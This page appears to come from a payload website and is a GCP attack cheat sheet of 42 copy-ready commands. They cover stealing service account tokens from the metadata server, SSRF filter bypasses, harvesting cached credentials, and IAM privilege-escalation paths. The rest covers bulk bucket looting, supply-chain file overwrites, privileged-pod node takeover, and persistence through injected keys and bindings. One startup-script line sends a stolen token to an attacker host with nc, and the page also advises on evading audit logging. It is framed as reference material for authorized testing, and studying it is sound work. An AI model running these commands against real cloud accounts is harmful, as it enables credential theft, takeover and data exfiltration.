GCP Attacks Cheat Sheet

Google Cloud Platform attack techniques: metadata server SSRF, service account token theft and impersonation, IAM privilege escalation paths, Cloud Storage enumeration, and gcloud/curl post-exploitation. For authorized GCP penetration testing. (42 payloads)

Try it interactively with the Secret Scanner

Metadata Server (SSRF & On-Host)

(8)

curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

Steal the instance default service account OAuth2 access token — the single highest-value GCP metadata target. Returns access_token + expires_in.Every GCP metadata request MUST carry the Metadata-Flavor: Google header (since v1). A bare SSRF that cannot set headers fails, which is itself a partial mitigation.

curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes" -H "Metadata-Flavor: Google"

Identify which service account the VM runs as and its OAuth scopes. Scopes are a legacy coarse permission layer that can cap an otherwise-powerful SA.If scopes include cloud-platform (https://www.googleapis.com/auth/cloud-platform) the token is only limited by IAM — full blast radius.

curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" -H "Metadata-Flavor: Google"

List ALL service accounts attached to the instance, not just default. A non-default SA bound to the VM may carry far broader IAM roles.Then pull a token for a named SA: .../service-accounts/<SA_EMAIL>/token

curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://example.com&format=full" -H "Metadata-Flavor: Google"

Mint a signed Google-issued OIDC identity (JWT) for the instance's SA. format=full embeds VM instance details in the token claims.Useful for impersonating the workload to any service that trusts Google OIDC (Cloud Run, IAP, external apps validating google iss).

curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys" -H "Metadata-Flavor: Google"

Dump custom instance/project attributes. startup-script and user-data routinely contain plaintext credentials; ssh-keys reveals managed login users.kube-env (on GKE nodes) holds kubelet certs + bootstrap tokens; sshKeys/ssh-keys can be a write target for persistence if you have compute.instances.setMetadata.

# SSRF reaching IMDS without the custom header — recursive/alias endpoints:
curl -s "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=json" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"  # legacy: no header required

recursive=true dumps the entire metadata tree in one JSON request. The legacy v1beta1 path historically did NOT require Metadata-Flavor — try it on old/unpatched stacks.v0.1 and v1beta1 header-less endpoints are deprecated/disabled on modern instances but still appear in older images and emulators.

# Metadata host aliases / IP encodings for SSRF filter bypass:
http://metadata.google.internal/...
http://metadata/computeMetadata/v1/...      # short hostname (same-VPC DNS)
http://169.254.169.254/computeMetadata/v1/...
http://[0:0:0:0:0:ffff:a9fe:a9fe]/computeMetadata/v1/...   # IPv4-mapped IPv6
http://2852039166/computeMetadata/v1/...     # 169.254.169.254 as decimal

Alternate representations of 169.254.169.254 / metadata.google.internal to defeat naive denylists in an SSRF-vulnerable app.All still require the Metadata-Flavor: Google header on current GCE. Pair with header-injection gadgets (CRLF, request-splitting) when the SSRF sink only controls the URL.

TOKEN=$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN"

Validate a stolen token and enumerate its granted scopes via the tokeninfo endpoint before spending it — confirms scope ceiling and audience.tokeninfo also reveals the issued-to/azp and expires_in so you know how long the token is live.

Service Account Abuse & Token Use

(8)

TOKEN=$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" "https://cloudresourcemanager.googleapis.com/v1/projects"
curl -s -H "Authorization: Bearer $TOKEN" "https://compute.googleapis.com/compute/v1/projects/<PROJ>/zones/<ZONE>/instances"

Spend a stolen access token directly against Google REST APIs with a Bearer header — no gcloud install needed. List projects, then enumerate Compute.Raw API calls leave a smaller footprint than installing gcloud and are ideal from a constrained shell.

gcloud auth activate-service-account --key-file=/path/to/key.json
gcloud config set project <PROJECT_ID>
gcloud auth list
gcloud auth print-access-token

Authenticate the gcloud CLI with a recovered SA JSON key file (exported private key) and convert it into live access tokens.SA key JSON (type:service_account, with private_key) found in startup scripts, GCS, repos, or CI secrets = persistent, non-expiring creds until the key is revoked.

gcloud projects get-iam-policy <PROJECT_ID> --flatten="bindings[].members" --filter="bindings.members:$(gcloud config get-value account)" --format="table(bindings.role)"

Show exactly which IAM roles the current identity holds at the project level — the fastest way to scope your own privileges.Repeat at folder and org level (gcloud resource-manager folders/organizations get-iam-policy) — bindings inherit downward.

gcloud iam service-accounts keys create exfil.json --iam-account=<TARGET_SA>@<PROJ>.iam.gserviceaccount.com

Mint a brand-new user-managed key for a target SA you can act on (needs iam.serviceAccountKeys.create). Gives durable offline creds for that SA.User-managed keys do not expire by default and survive token rotation — a classic persistence + lateral-movement primitive.

gcloud auth print-access-token --impersonate-service-account=<TARGET_SA>@<PROJ>.iam.gserviceaccount.com
gcloud compute instances list --impersonate-service-account=<TARGET_SA>@<PROJ>.iam.gserviceaccount.com

Impersonate a more-privileged SA you have iam.serviceAccounts.getAccessToken on (roles/iam.serviceAccountTokenCreator) without ever touching a key file.Token-creator across SAs is the cleanest GCP lateral-movement path: no key artifacts, just short-lived tokens. Chains transitively (A->B->C).

curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<TARGET_SA>@<PROJ>.iam.gserviceaccount.com:generateAccessToken" -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}'

Raw IAM Credentials API call to impersonate a target SA and mint a downstream access token — the REST equivalent of --impersonate-service-account.generateIdToken on the same API mints an OIDC token for the target SA (useful against IAP / Cloud Run / Cloud Functions that trust SA identity).

curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<TARGET_SA>:signJwt" -d '{"payload":"{\"iss\":\"<TARGET_SA>\",\"sub\":\"<TARGET_SA>\",\"aud\":\"https://oauth2.googleapis.com/token\"}"}'

Abuse iam.serviceAccounts.signJwt to have a target SA sign an arbitrary JWT — then trade it for a full OAuth token via the assertion grant. Privesc with only signJwt/signBlob.signJwt/signBlob are frequently overlooked in custom roles; they are functionally equivalent to impersonation.

gcloud config list
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/access_tokens.db
find / -name "*.json" 2>/dev/null | xargs grep -l 'private_key' 2>/dev/null
grep -rE 'GOOGLE_APPLICATION_CREDENTIALS' / 2>/dev/null

Harvest cached gcloud credentials and SA key files already on a compromised host — local creds avoid noisy metadata/API calls entirely.The gcloud sqlite credential stores and any file containing private_key / GOOGLE_APPLICATION_CREDENTIALS are immediate wins on a foothold.

IAM Enumeration & Privilege Escalation

(7)

gcloud projects get-iam-policy <PROJECT_ID> --format=json
gcloud iam service-accounts list
gcloud iam roles list --project=<PROJECT_ID>
gcloud iam roles describe <ROLE> --project=<PROJECT_ID>

Baseline IAM recon: full policy bindings, all SAs, and custom role definitions. Custom roles often hide over-broad permissions a name doesn't reveal.Read the actual permission list of every custom role — a benign-sounding role can grant setIamPolicy or actAs.

# Privesc: iam.serviceAccounts.actAs + a deploy permission
gcloud compute instances create privesc-vm --zone=<ZONE> --service-account=<HIGH_PRIV_SA>@<PROJ>.iam.gserviceaccount.com --scopes=cloud-platform --metadata=startup-script='curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | nc <ATTACKER> 443'

Launch a VM running as a higher-privileged SA (requires iam.serviceAccounts.actAs + compute.instances.create) and use a startup-script to exfil its metadata token. Classic actAs privesc.actAs is the GCP equivalent of AWS PassRole. It applies to Compute, Cloud Functions, Cloud Run, Dataflow, Composer — any service that runs as an SA.

# Privesc: setIamPolicy on the project = grant yourself owner
gcloud projects add-iam-policy-binding <PROJECT_ID> --member="user:[email protected]" --role="roles/owner"
# Or grant token-creator on a powerful SA:
gcloud iam service-accounts add-iam-policy-binding <SA> --member="user:[email protected]" --role="roles/iam.serviceAccountTokenCreator"

If you hold resourcemanager.projects.setIamPolicy (or *.setIamPolicy on any resource) you can directly grant yourself or a controlled principal Owner / token-creator.setIamPolicy on ANY resource is game over for that resource. Look for it inside custom roles and broad predefined roles like roles/iam.securityAdmin and roles/resourcemanager.projectIamAdmin.

# Privesc: iam.roles.update on a role you already hold
gcloud iam roles update <CUSTOM_ROLE> --project=<PROJ> --add-permissions=resourcemanager.projects.setIamPolicy,iam.serviceAccounts.getAccessToken

Edit a custom role you are already bound to so it silently gains powerful permissions — privesc without changing any binding (stealthier than add-iam-policy-binding).Needs iam.roles.update on the role. Because the binding is unchanged, IAM-binding-change detections may miss it.

# Privesc: deploymentmanager.deployments.create runs as the GCP-managed SA
gcloud deployment-manager deployments create pwn --config=evil.yaml
# evil.yaml uses gcp-types/cloudresourcemanager to add an IAM binding via the
# <PROJECT_NUMBER>@cloudservices.gserviceaccount.com SA (often Editor).

Deployment Manager executes templates as the Google APIs service account (cloudservices), which is frequently Editor. Abuse it to perform privileged actions you can't do directly.A recurring GCP privesc: many service-managed SAs (cloudservices, *-compute@developer, cloudbuild) carry roles/editor by default — pivot through them.

# Privesc: cloudbuild.builds.create runs as <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com
gcloud builds submit --config=cloudbuild.yaml --no-source
# cloudbuild.yaml step runs: gcloud projects add-iam-policy-binding ... roles/owner

Cloud Build executes build steps as the Cloud Build SA. If that SA is privileged (it can be granted Editor/Owner), submitting a malicious build escalates your rights.Also check Cloud Functions / Cloud Run deploy permissions — deploying code that runs as a privileged runtime SA is the same pattern.

# Audit-everything: pull org/folder policies, find privesc edges
gcloud organizations list
gcloud resource-manager folders list --organization=<ORG_ID>
gcloud asset search-all-iam-policies --scope=projects/<PROJ> --query="policy:[email protected]"

Use Cloud Asset Inventory to search every IAM policy across a scope for a principal — far faster than per-resource get-iam-policy when mapping reachable privesc paths.Tools that automate this edge-mapping: GCP IAM Privilege Escalation scripts (Rhino Security), PMapper-style analysis, and gcloud asset search-all-iam-policies.

Cloud Storage (GCS) Enumeration & Abuse

(7)

# Public/anonymous bucket access (no auth):
curl -s "https://storage.googleapis.com/<BUCKET>/"
curl -s "https://storage.googleapis.com/storage/v1/b/<BUCKET>/o"   # JSON object list
gsutil ls -r gs://<BUCKET>/

Check a bucket for public/allUsers read. The XML endpoint lists objects when listing is public; the JSON API gives structured output. Try unauthenticated first.A 200 with an XML/JSON listing = public list. A 403 with AccessDenied may still allow direct object GET if individual objects are public.

# Bucket name enumeration patterns (GCS names are GLOBAL):
<company>-backup  <company>-backups  <company>-prod  <company>-dev
<company>-staging  <company>-data  <company>-assets  <company>-logs
<company>-tfstate  <company>-terraform  <company>-artifacts
<company>.appspot.com   # App Engine default bucket
staging.<project-id>.appspot.com

Brute candidate bucket names from the org name. GCS uses a single global namespace, so name guessing works across all of Google Cloud.App Engine projects auto-create <project-id>.appspot.com and staging.<project-id>.appspot.com — high-value default buckets often holding source and configs.

# Check bucket IAM / ACL exposure:
gsutil iam get gs://<BUCKET>
gcloud storage buckets get-iam-policy gs://<BUCKET>
curl -s "https://storage.googleapis.com/storage/v1/b/<BUCKET>/iam" -H "Authorization: Bearer $TOKEN"

Read a bucket's IAM policy to spot allUsers / allAuthenticatedUsers bindings (anonymous / any-Google-account access) and overly broad objectViewer/objectAdmin grants.allAuthenticatedUsers means ANY Google account (any gmail) can read — a common and dangerous misconfig people mistake for 'internal only'.

# Writable bucket check + supply-chain poisoning:
echo test > /tmp/poc.txt
gsutil cp /tmp/poc.txt gs://<BUCKET>/poc.txt
gsutil cp evil.js gs://<BUCKET>/static/app.js   # overwrite a served asset

Test for object write (objectCreator/objectAdmin to allUsers/allAuthenticatedUsers). A writable bucket serving JS/CI artifacts enables stored XSS or supply-chain RCE.Buckets backing a CDN, static site, or build pipeline turn write access into code execution downstream.

# Enumerate & loot with stolen creds:
gsutil ls
gsutil ls -L -b gs://<BUCKET>            # bucket metadata
gsutil -m cp -r gs://<BUCKET> ./loot/     # bulk download (multi-threaded)
gsutil ls gs://<BUCKET>/**.{json,env,pem,sql,bak,tfstate}

With valid creds, list every accessible bucket then mass-download. Grep filenames for secrets: .tfstate (full infra + sometimes plaintext secrets), .env, keys, DB dumps.Terraform .tfstate is a top prize — it can contain SA keys, DB passwords, and the entire resource map of the environment.

# Object versioning recovers 'deleted'/overwritten data:
gsutil ls -a gs://<BUCKET>/sensitive.json
gsutil cp gs://<BUCKET>/sensitive.json#<GENERATION> ./old.json

If versioning is enabled, list all object generations (-a) and pull historical versions — recover secrets the owner thought they removed.Old generations frequently retain credentials that were rotated out of the current object but never purged.

# HMAC keys = S3-compatible long-lived creds for a bucket SA:
gsutil hmac create <SA>@<PROJ>.iam.gserviceaccount.com
gsutil hmac list

Create GCS HMAC keys for an SA you control — these are S3-interoperable access/secret pairs that persist and can be used from any S3 client (stealthy persistence).HMAC keys bypass the usual OAuth token telemetry and work with aws/s3cmd tooling pointed at storage.googleapis.com.

GKE / Container & Function Pivots

(6)

# On a GKE node, kube-env in metadata holds bootstrap creds:
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env" -H "Metadata-Flavor: Google"
# Extract KUBELET_KEY / KUBELET_CERT / CA_CERT and authenticate to the API server

GKE node metadata exposes kube-env containing the kubelet's client cert/key and CA — promote a node/pod foothold into Kubernetes API access.If Workload Identity is NOT enabled, pods can also reach the node SA token via metadata. GKE Metadata Server / Workload Identity is the mitigation that blocks this.

# From a pod where the node SA token is reachable:
TOKEN=$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" | jq -r .access_token)
gcloud container clusters get-credentials <CLUSTER> --region <REGION> --project <PROJ>
kubectl get secrets -A

Borrow the GKE node service account token to authenticate to the cluster and the GCP API, then dump Kubernetes secrets cluster-wide.Default GKE node SA historically had storage + logging scopes; if it also has broad project IAM, the node token is a project-wide pivot.

# Workload Identity abuse — pod SA maps to a GCP SA:
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"
# (Returns the GCP SA bound to the pod's KSA via roles/iam.workloadIdentityUser)

Under Workload Identity, the in-pod metadata token belongs to the mapped GCP service account. Compromising the pod yields that SA's full IAM permissions.Mis-scoped Workload Identity bindings (KSA->over-privileged GCP SA) are a leading modern GKE escalation; enumerate the mapped SA's roles immediately.

# Cloud Functions / Cloud Run runtime token (same IMDS path inside the sandbox):
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
env | grep -iE 'KEY|TOKEN|SECRET|PASSWORD'

RCE/SSRF inside a Cloud Function or Cloud Run container reaches the same metadata endpoint to steal the runtime SA token, plus injected env-var secrets.Functions/Run default to the App Engine default SA or a project default SA — frequently Editor unless explicitly downgraded.

# Inspect / modify Cloud Function source & SA:
gcloud functions list
gcloud functions describe <FN> --region <REGION>
gcloud functions deploy <FN> --runtime nodejs20 --trigger-http --service-account <HIGH_PRIV_SA> --source .

Enumerate functions and their runtime SA; if you can deploy/update, ship malicious code running as a privileged SA (actAs-style privesc through Functions).cloudfunctions.functions.update + iam.serviceAccounts.actAs on the runtime SA = code execution as that SA.

# Privileged container -> host on a GKE/Compute node:
kubectl run pwn --image=ubuntu --restart=Never --overrides='{"spec":{"hostPID":true,"containers":[{"name":"pwn","image":"ubuntu","command":["/bin/sh","-c","sleep 1d"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}'
kubectl exec -it pwn -- chroot /host bash

If you can create pods, schedule a privileged pod with the host filesystem mounted and chroot to the node — then read node metadata/creds and pivot to GCP.Pod Security Admission / Gatekeeper policies blocking privileged + hostPath are the control; absent them this is reliable node takeover.

Recon, Persistence & Evasion

(6)

gcloud asset search-all-resources --scope=projects/<PROJ>
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[].accessConfigs[].natIP)"
gcloud secrets list && gcloud secrets versions access latest --secret=<NAME>
gcloud sql instances list && gcloud kms keys list --location=<LOC> --keyring=<KR>

Broad post-auth recon: every resource via Asset Inventory, external IPs of all VMs, Secret Manager secrets (read them if you have accessor), Cloud SQL + KMS keys.secretmanager.versions.access is the direct route to stored DB/API creds — always test it once you have any foothold token.

# Persistence: add a key to a target SA (durable, non-expiring)
gcloud iam service-accounts keys create bd.json --iam-account=<SA>
# Persistence: grant a benign-looking external account a quiet role
gcloud projects add-iam-policy-binding <PROJ> --member="serviceAccount:[email protected]" --role="roles/viewer" --condition=None

Two GCP persistence primitives: mint an offline SA key, and bind an attacker-controlled cross-project SA so access survives password/MFA changes on your original identity.Cross-project SA bindings and extra user-managed keys are easy to overlook in IAM reviews — pin to low-noise roles like Viewer that still allow re-escalation.

# Persistence via metadata SSH (if you have compute.instances.setMetadata):
gcloud compute instances add-metadata <VM> --zone=<ZONE> --metadata=ssh-keys="attacker:ssh-ed25519 AAAA... attacker"
# Project-wide:
gcloud compute project-info add-metadata --metadata=ssh-keys="attacker:ssh-ed25519 AAAA..."

Inject an SSH key via instance or project metadata to gain interactive OS access. Project-wide metadata grants login to every VM honoring project keys.OS Login (enable-oslogin=TRUE) ignores metadata ssh-keys and is the mitigation; check the metadata flag before relying on this.

# Check what logging will record:
gcloud logging sinks list
gcloud logging read 'protoPayload.authenticationInfo.principalEmail="<YOUR_SA>"' --limit=20
# Data Access logs (object reads) are OFF by default — GCS reads are usually NOT logged

Assess detection exposure. Admin Activity audit logs are always on and immutable; Data Access logs (which capture GCS object reads, secret accesses) are off by default in most projects.Because Data Access logging is opt-in, mass GCS download / secret reads frequently leave no audit trail — Admin Activity (IAM changes, instance creation) always does.

# Map external attack surface without internal creds:
gcloud container images list --repository=gcr.io/<PROJ>   # if AR/GCR is public
curl -s "https://gcr.io/v2/<PROJ>/<IMAGE>/tags/list"
# Public GCR/Artifact Registry repos leak image names and can be pulled anonymously

Misconfigured public Container/Artifact Registry repos let anyone list and pull images — extract source, baked-in secrets, and SA keys from layers.docker pull gcr.io/<PROJ>/<IMAGE> then dive/whaler the layers; .env files and key.json baked into images are common.

# Useful offensive tooling for GCP:
# - GCPBucketBrute: GCS bucket name brute + permission check
# - gcp_enum / gcp_scanner: credential-driven enumeration
# - Hayat / GCP IAM Privilege Escalation (Rhino): privesc path finder
# - ScoutSuite: multi-cloud misconfig auditor (gcp provider)

Established tooling that automates the techniques above — bucket brute-forcing, IAM edge mapping, and full-project misconfiguration auditing.ScoutSuite (gcp) and GCPBucketBrute are the quickest way to triage a fresh engagement before manual deep-dives.

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Cheat Sheets

SSRF Cheat Sheet Post-Exploitation Cheat Sheet Cloud Attacks Cheat Sheet Kubernetes Security Cheat Sheet

Frequently asked questions

What is the GCP Attacks Cheat Sheet?+

It's a quick-reference collection of 42 GCP Attacks payloads for testing GCP Attacks vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these GCP Attacks payloads?+

Copy any payload straight into your authorized test, or use the Secret Scanner to apply them interactively. Only test systems you have explicit permission to assess.

Are these GCP Attacks payloads free to use?+

Yes — this cheat sheet and all GCP Attacks payloads are completely free, with no account required. Everything runs in your browser.

$loading...

Frequently asked questions

What is the GCP Attacks Cheat Sheet?+

How do I use these GCP Attacks payloads?+

Copy any payload straight into your authorized test, or use the Secret Scanner to apply them interactively. Only test systems you have explicit permission to assess.

Are these GCP Attacks payloads free to use?+

Yes — this cheat sheet and all GCP Attacks payloads are completely free, with no account required. Everything runs in your browser.

GCP Attacks Cheat Sheet

Metadata Server (SSRF & On-Host)

Service Account Abuse & Token Use

IAM Enumeration & Privilege Escalation

Cloud Storage (GCS) Enumeration & Abuse

GKE / Container & Function Pivots

Recon, Persistence & Evasion

Related Tools

Related Cheat Sheets

Frequently asked questions

GCP Attacks Cheat Sheet

Metadata Server (SSRF & On-Host)

Service Account Abuse & Token Use

IAM Enumeration & Privilege Escalation

Cloud Storage (GCS) Enumeration & Abuse

GKE / Container & Function Pivots

Recon, Persistence & Evasion

Related Tools

Related Cheat Sheets

Frequently asked questions